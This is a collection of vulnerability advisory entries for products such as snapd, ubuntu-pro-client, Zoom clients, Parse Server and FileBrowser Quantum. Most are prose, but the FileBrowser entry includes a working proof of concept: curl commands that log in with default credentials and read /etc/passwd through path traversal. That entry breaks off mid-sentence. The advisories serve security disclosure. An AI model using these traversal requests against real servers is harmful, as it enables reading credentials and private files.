CVE-2026-8933 is a local privilege escalation vulnerability in snap-confine, a core component used by Canonical snapd to create secure execution environments for snap applications. The flaw affects versions of snap-confine configured with set-capabilities rather than set-uid-root. An unprivileged local attacker can exploit this vulnerability to bypass security restrictions and execute arbitrary code with full root privileges. The vulnerability has a high severity score of 7.8 and impacts version 2.75.0. No official patch or remediation guidance is currently available.
CVE-2026-15226 is a high-severity vulnerability in Canonical snapd's snap-confine component that allows sandbox confinement bypass. The issue arises because the seccomp security templates do not block operations that create or manipulate set-user-ID (setuid) executables. This enables a confined snap application to compile or drop binaries with setuid attributes, potentially allowing privilege escalation within the container namespace. The vulnerability has been addressed by hardening the seccomp template engine to block such actions. Versions prior to 2.76.1 are affected.
An access control bypass and information disclosure vulnerability exists in the base AppArmor security profile configuration of Canonical snapd. The abstraction rules located in /etc/apparmor.d/abstractions/nss-systemd (inherited via ) inadvertently permit strictly confined snap applications, which lack the privileged account-control interface, to interact directly with the io.systemd.Multiplexer and io.systemd.NameServiceSwitch UNIX domain sockets under /run/systemd/userdb/.
On systems where the systemd-userdbd service is installed and operational, the service fails to distinguish between an unconfined root user on the host system and a restricted root user running within a snap application's sandbox (such as a daemon or configuration hook). Because systemd-userdbd returns "complete" user records—including sensitive hashed user passwords from /etc/shadow—when queried by a process running as root, a compromised or malicious strictly confined snap executing code as root can successfully query the Varlink interface to retrieve all system password hashes, bypassing intended snap sandbox restrictions. This issue is mitigated by the fact that systemd-userdbd is not installed by default on standard Ubuntu deployments.
Missing Authorization vulnerability in Universal Software Inc. FlexCity allows Exploiting Incorrectly Configured Access Control Security Levels.
This issue affects FlexCity: from 5.536.0 before 5.542.0.
Improper restriction of excessive authentication attempts vulnerability in Universal Software Inc. FlexCity allows Excessive Allocation.
This issue affects FlexCity: from 5.536.0 before 5.542.0.
URL redirection to untrusted site ('open redirect') vulnerability in Universal Software Inc. FlexCity allows Input Data Manipulation.
This issue affects FlexCity: from 5.536.0 before 5.542.0.
Parse Server versions >= 9.0.0 before 9.10.0-alpha.4 and versions before 8.6.85 contain a schema disclosure vulnerability. When the GraphQL API is mounted with public introspection disabled (graphQLPublicIntrospection: false, the default), schema-derived 'Did you mean ...?' suggestions were still returned in GraphQL error messages produced during variable coercion, which were not covered by the introspection-hardening control (that only handled validation errors). An unauthenticated caller possessing only the public application id can iteratively recover hidden schema identifiers — including registered Cloud Code function names and Parse class and field names — by submitting queries or mutations whose variables contain near-miss enum values or input-object field names. This is a follow-up bypass of GHSA-8cph-rgr4-g5vj. The issue is fixed in 9.10.0-alpha.4 and 8.6.85.
Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Turkmesh Communication Services Inc. Turkhotspot 5651 Loglama allows SQL Injection.
This issue affects Turkhotspot 5651 Loglama: from 5.1.2 before 5.1.3.
### Summary
The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.
The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required.
The secondary vector is the `name` parameter: it is joined with `parentDir` via `filepath.Join(parentDir, name)` without stripping directory components, allowing traversal relative to any resolved `parentDir`.
Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including `/etc/passwd`, SSH keys, database credentials, and JWT signing keys.
### Details
**1. `path` parameter lacks `SanitizeUserPath()` — primary vector (`http/media.go:54`)**
```go
userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path) // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath) // line 59: attacker controls this directory
```
`SanitizeUserPath()` explicitly rejects `..` segments:
```go
func SanitizeUserPath(userPath string) (string, error) {
// ...
for _, segment := range segments {
if segment == ".." {
return "", fmt.Errorf("invalid path: path traversal detected")
}
}
// ...
}
```
Every other handler in the codebase calls `SanitizeUserPath()` before `GetRealPath()`. This handler skips it, so `path=../../etc/passwd` resolves `parentDir` to `/etc`, with no anchor file required.
**2. `name` parameter used directly in `filepath.Join` — secondary vector (`http/media.go:63`)**
```go
name := r.URL.Query().Get("name") // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
filepath.Join(parentDir, name)) // line 63 — TRAVERSAL
```
`filepath.Join(parentDir, "../../etc/passwd")` resolves the `..` components, escaping `parentDir`. This vector requires a valid file in scope as the `path` anchor.
**3. `GetSubtitleSidecarContent` reads and returns file contents (`common/utils/media.go:17-43`)**
```go
func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
info, err := os.Stat(subtitlePath) // follows the traversed path
// size check: < 50MB
isText, err := IsTextFile(subtitlePath) // checks UTF-8 validity
content, err := os.ReadFile(subtitlePath) // reads and returns content
return string(content), nil
}
```
The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.
**4. Endpoint is behind `withUser` but requires no special permissions**
```go
// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))
```
Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.
### PoC
**Vector 1: `path` traversal (no anchor file needed):**
```bash
docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"
```
**Expected output:** `/etc/passwd` contents with HTTP 200.
**Vector 2: `name` traversal (anchor file required):**
```bash
mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"
```
**Expected output:** `/etc/passwd` contents with HTTP 200.
### Impact
- **Arbitrary file read**: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
- **No anchor file required**: The `path` vector works on a default install with an empty storage root, so no existing file in scope is needed.
- **Scope bypass**: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
- **Credential exposure**: `/etc/passwd`, `/etc/shadow` (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
- **Privilege escalation**: Reading the JWT signing key from the database or config file enables forging admin tokens.
- **No special permissions required**: The endpoint only requires basic authenti
FileBrowser Quantum is a free, self-hosted, web-based file manager. Prior to version 1.3.2-beta, the `/api/auth/login` authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a `401`/`403` response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison, causing a measurable delay in the response time. Version 1.3.2-beta patches the issue.
FileBrowser Quantum versions prior to 1.3.2-stable and 1.4.1-beta contain a vulnerability that may leak sensitive information such as source code and file paths. This issue is identified as CWE-200, Exposure of Sensitive Information to an Unauthorized Actor. Versions 1.3.2-stable and 1.4.1-beta address this vulnerability. No known workarounds are available.
pyzipper is a replacement for Python's zipfile that can read and write AES encrypted zip files. Prior to 0.4.0, a Python operator precedence bug in pyzipper/zipfile_aes.py caused the AE-2 format to never be automatically selected during encryption, causing encrypted entries to be written in AE-1 format and exposing the plaintext CRC32 checksum in the ZIP header and, for unseekable zip archives, in the datadescripter section, allowing an attacker who possesses the archive to brute-force candidate plaintexts for small or low-entropy files by comparing CRC32 values. This issue is fixed in version 0.4.0.
CVE-2026-53412 is a critical vulnerability in Zoom Workplace for Windows and related Zoom clients that involves improper input validation. This flaw may allow an unauthenticated attacker with network access to take over user accounts. The vulnerability affects Zoom Desktop Client for Windows, Zoom VDI Client for Windows, and Zoom Meeting SDK for Windows. No specific affected versions or patches have been confirmed yet. The vulnerability has a CVSS score of 9.8, indicating a critical severity level.
CVE-2026-53411 is a high-severity vulnerability in the Zoom Workplace VDI Plugin for Windows. It involves a time-of-check to time-of-use (TOCTOU) race condition during the installation and uninstallation processes. This flaw could allow an authenticated local user to escalate privileges on the affected system. No specific affected versions or patches have been disclosed yet.
CVE-2026-53410 is a time-of-check to time-of-use (TOCTOU) race condition vulnerability in the installation and uninstallation process of certain Zoom Clients for Windows. This flaw could allow an authenticated local user to escalate privileges on the affected system. The vulnerability has a high severity rating with a CVSS score of 7. No specific affected versions or patches have been disclosed yet.
CVE-2026-53409 is a high-severity vulnerability in Zoom Communications Zoom Rooms for Windows prior to version 7.1.0. It involves improper privilege management that may allow an authenticated local user to escalate their privileges. The vulnerability is classified under CWE-20 (Improper Input Validation). No patch or official remediation guidance is currently provided by the vendor.
An insecure symlink following vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools) within the pro collect-logs command framework. The utility creates or utilizes predictable temporary file paths or user-accessible log directories when gathering diagnostic information without verifying the file type or ownership. An unprivileged local attacker can exploit this behavior by creating a symbolic link (symlink) at a predictable destination path pointing to an arbitrary, root-readable file (such as /etc/shadow or private files within /root). When a root administrator or operator subsequently executes the pro collect-logs command, the tool follows the user-controlled symlink, reads the target file, and compresses its contents into the resulting diagnostic support archive. Because the output archive remains readable by the unprivileged user, the attacker can extract and read the sensitive root-owned files, leading to a complete information disclosure of system secrets.
An input validation and injection vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client constructs APT source files (such as /etc/apt/sources.list.d/ubuntu-.list or their DEB822 equivalents) using data received directly from the contract server response via the directives.suites[] and directives.aptURL fields. Because the client utilizes Python's str.format() to write these files without performing escaping, validation, or newline character filtering, a malicious or tampered contract response containing embedded newline (\n) characters can successfully inject arbitrary, attacker-controlled deb configuration lines into root-owned APT sources. When combined with the unvalidated additionalPackages[] field—which is passed positionally into a root-executed apt-get install command—an attacker capable of spoofing or manipulating the contract response (e.g., via a compromised internal infrastructure, an intercepted connection utilizing a trusted CA, or local logical bugs) can force the client to fetch and install malicious packages. This ultimately leads to arbitrary code execution with root privileges on the affected system. This component is preinstalled on supported Ubuntu Server releases and auto-attaches by default on cloud provider Ubuntu Pro images.
An information disclosure vulnerability exists in Canonical ubuntu-pro-client (formerly ubuntu-advantage-tools). The client validates Ubuntu Pro APT credentials by executing /usr/lib/apt/apt-helper using the download-file command. During this process, the secret bearer token is embedded directly in
the cleartext URL component passed via the command-line arguments (argv), resulting in a URL format such as https://bearer:<token>@esm.ubuntu.com/.../. On systems utilizing a default-mounted /proc file system where process-hiding mitigations (such as hidepid) are disabled, an unprivileged local attacker can
monitor system processes and read the sensitive bearer token directly from /proc/cmdline while the helper process is actively running. This leaked token can subsequently be used to gain unauthorized access to the victim's Ubuntu Pro or Expanded Security Maintenance (ESM) repositories.
The Digits: WordPress Mobile Number Signup and Login plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 9.1.0.5. This is due to missing authorization and role validation in the `dig_update_wpwc_custom_fields()` function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to Administrator by submitting a forged `digits_reg_userrole` value during profile update, granted the site administrator has configured the built-in DIGITS User Role field.